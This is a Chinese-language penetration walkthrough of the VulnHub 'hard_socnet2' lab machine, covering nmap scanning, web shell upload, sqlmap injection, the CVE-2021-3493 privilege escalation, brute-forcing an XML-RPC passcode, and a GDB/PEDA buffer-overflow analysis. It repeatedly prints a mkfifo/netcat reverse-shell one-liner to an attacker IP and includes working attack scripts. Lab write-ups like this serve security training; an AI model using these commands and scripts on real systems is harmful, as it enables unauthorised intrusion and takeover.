"凌晨四点半,海棠花未眠"
本靶机难度为高难度,涉及到了缓冲区溢出的源码审计,逆向分析,动态调试等漏洞技能点,
攻击方法有2种:
CVE-2021-3493
另类提权方式。
项目地址:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
主机发现:
arp-scan -l
nmap -p- -sS 192.168.0.102
nmap -p22,80,8000 -sV -sS 192.168.0.102
目标渗透:
访问800端口
显示的是不支持 GET 请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是 500 报错。没有思路了
访问80端口一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册.
方法一:文件上传
直接上传一句话木马文件,使用蚁剑进行连接。
方法二:SQL 注入
可能存在 sql 注入,尝试使用 sqlmap 工具爆破。(mysql 数据库)
sqlmap -r sql -p query 将返回包内容复制到 sql 文件中,测试是否存在 SQL 注入
sqlmap -r sql -p query --dbs 查询数据库
sqlmap -r sql -p query -D socialnetwork --tables 查询表名
sqlmap -r sql -p query -D socialnetwork -T users --columns 查询列和字段
拿密码去登录:登陆上但是没有任何用。SQL 注入得到的密码可以保留。可能用得到。
权限提升:
GitHub 下载地址:
https://github.com/briskets/CVE-2021-3493
上传 exploit.c 文件,但是蚁剑连接的控制台权限不够
gcc exploit -e exp
chmod +x exp
./exp
第一种:nc 反弹 shell 连接,还是没有-e 参数,使用 nc 串联进行连接
另一种:mkfifo 反弹 shell 连接
这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
提权成功:获取 root
python -c "import pty;pty.spawn('/bin/bash')"
交互效果更好(升级 shell)
另一种提权
cat /etc/passwd
cd /home
cd socnet
ls -l 发现 monitor.py 和网站内容提到的一致,具有监视服务器的作用
这里的文件有个 peda 它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是 GDB 的一种插件,作用有:增强 gdb 的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强 GDB 调试能力
代码审计 monitor.py 文件
XMLRPC 方法
#my remote server management API
import SimpleXMLRPCServer --引入的服务
import subprocess
import random --随机数
debugging_pass = random.randint(1000,9999) --随机生成 1000-9999
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
**def secure_cmd(cmd,passcode): -- 定义 secure_cmd 函数,调用了 cmd 和 passcode
if passcode==debugging_pass: --注意这里,是否等于之前那个 1000-9999 随机数
return runcmd(cmd)
else:
return "Wrong passcode."**
**server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
导致之前对目标靶机 web 访问请求方式的失败原因,只接受 xml_rpc 方式。**
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
xmlrpc --- XMLRPC 服务端与客户端模块
介绍:https://docs.python.org/zh-cn/3/library/xmlrpc.html
XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。xmlrpc 是一个集合了 XML-RPC 服务端与客户端实现模块的包。 这些模块是:
https://docs.python.org/zh-cn/3/library/xmlrpc.server.html#module-xmlrpc.server
编写客户端脚本
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy:
print(str(proxy.cpu()))
根据 monitor.py 文件中,secure_cmd 函数需要当 passcode==debugging_pass 等于随机数时,才会执
行我们自定的命令,所有进行编码爆破。
if passcode==debugging_pass:
return runcmd(cmd)
对 passcode 进行爆破
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy:
for i in range(1000,10000):
r=str(proxy.secure_cmd('whoami',i))
if not "Wrong" in r :
print(i)
print(r)
break;
反弹 shell 连接
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy:
cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f"
r=str(proxy.secure_cmd(cmd,5598))
print(r)
连接成功
缓存区溢出漏洞利用
add_record 文件分析web 漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。那么对 add_record 程序的漏洞发现利用。看看文件类型:ELF 文件格式可以理解成类似 windows 下 PE 的文件格式
执行此文件可以临时成 root 权限,当此文件存在漏洞时,就可以利用获取 root 权限
PEDA 用法总结
一个强大的 GDB 插件
PEDA 是为 GDB 设计的一个强大的插件,全称是 Python Exploit Development Assistance for GDB。它
提供了很多人性化的功能,比如高亮显示反汇编代码、寄存器、内存信息,提高了 debug 的效率。同
时,PEDA 还为 GDB 添加了一些实用新的命令,比如 checksec 可以查看程序开启了哪些安全机制等等,
后续会介绍。
https://www.csdndocs.com/article/9043624#:~:text=PEDA%E6%98%AF%E4%B8%BAGDB%E8%AE%BE%E8%AE%
A1%E7%9A%84%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%85%
A8%E7%A7%B0%E6%98%AFPython%20Exploit%20Development,Assistance%20for%20GDB%E3%80%82
gdb 命令
gdb -q -q 安静的模式
gdb 是程序的动态调试工具,可以跟踪和监视在这个程序运行过程中所有的寄存器,堆栈,内存的使用
情况
每一次的函数调用,内存数据的变化,都会详细的跟踪和判断,根据跟踪就会知道哪一次数据提交造成
内存
数据的溢出
gdb -q ./add_record peda 是基于 gdb 关于 python 的脚本,
输入 r 运行
**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。
测试思路:大量数据测试缓冲区溢出的漏洞
就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,
在该位置处输入自己的 payload,反弹 shell,获得权限。
pattern create 100
AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
找到了之后看着很麻烦,使用 gdb 的功能
pattern search #看到了是 62 以后的溢出
根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一
些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。
[email protected](被调用的一个系统函数)是猜测是打开文本文件的意思
put,其作用是输出,配合 Printf 内建函数进行打印输出。
[email protected] 应该是打开文件把东西保存进去
printf@plt 把文件写入
那就使用断点功能判断一下功能都是什么
**断点调试:选中前面的内存地址,赋值
break * 内存地址
run
s 单步向前只进行对一个 cpu 的指令
**然后 del 1 删除这个断点信息。再重复尝试
执行 info func:查看程序的内建函数,存在 system 和 setuid,vuln,backdoor执行 disas vuln:具体查看函数,发现了 strcpy 函数,这里可能存在漏洞。直接搜索。最后,利用 payload 来触发漏洞,返回 root 权限
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
成功获取 root 权限。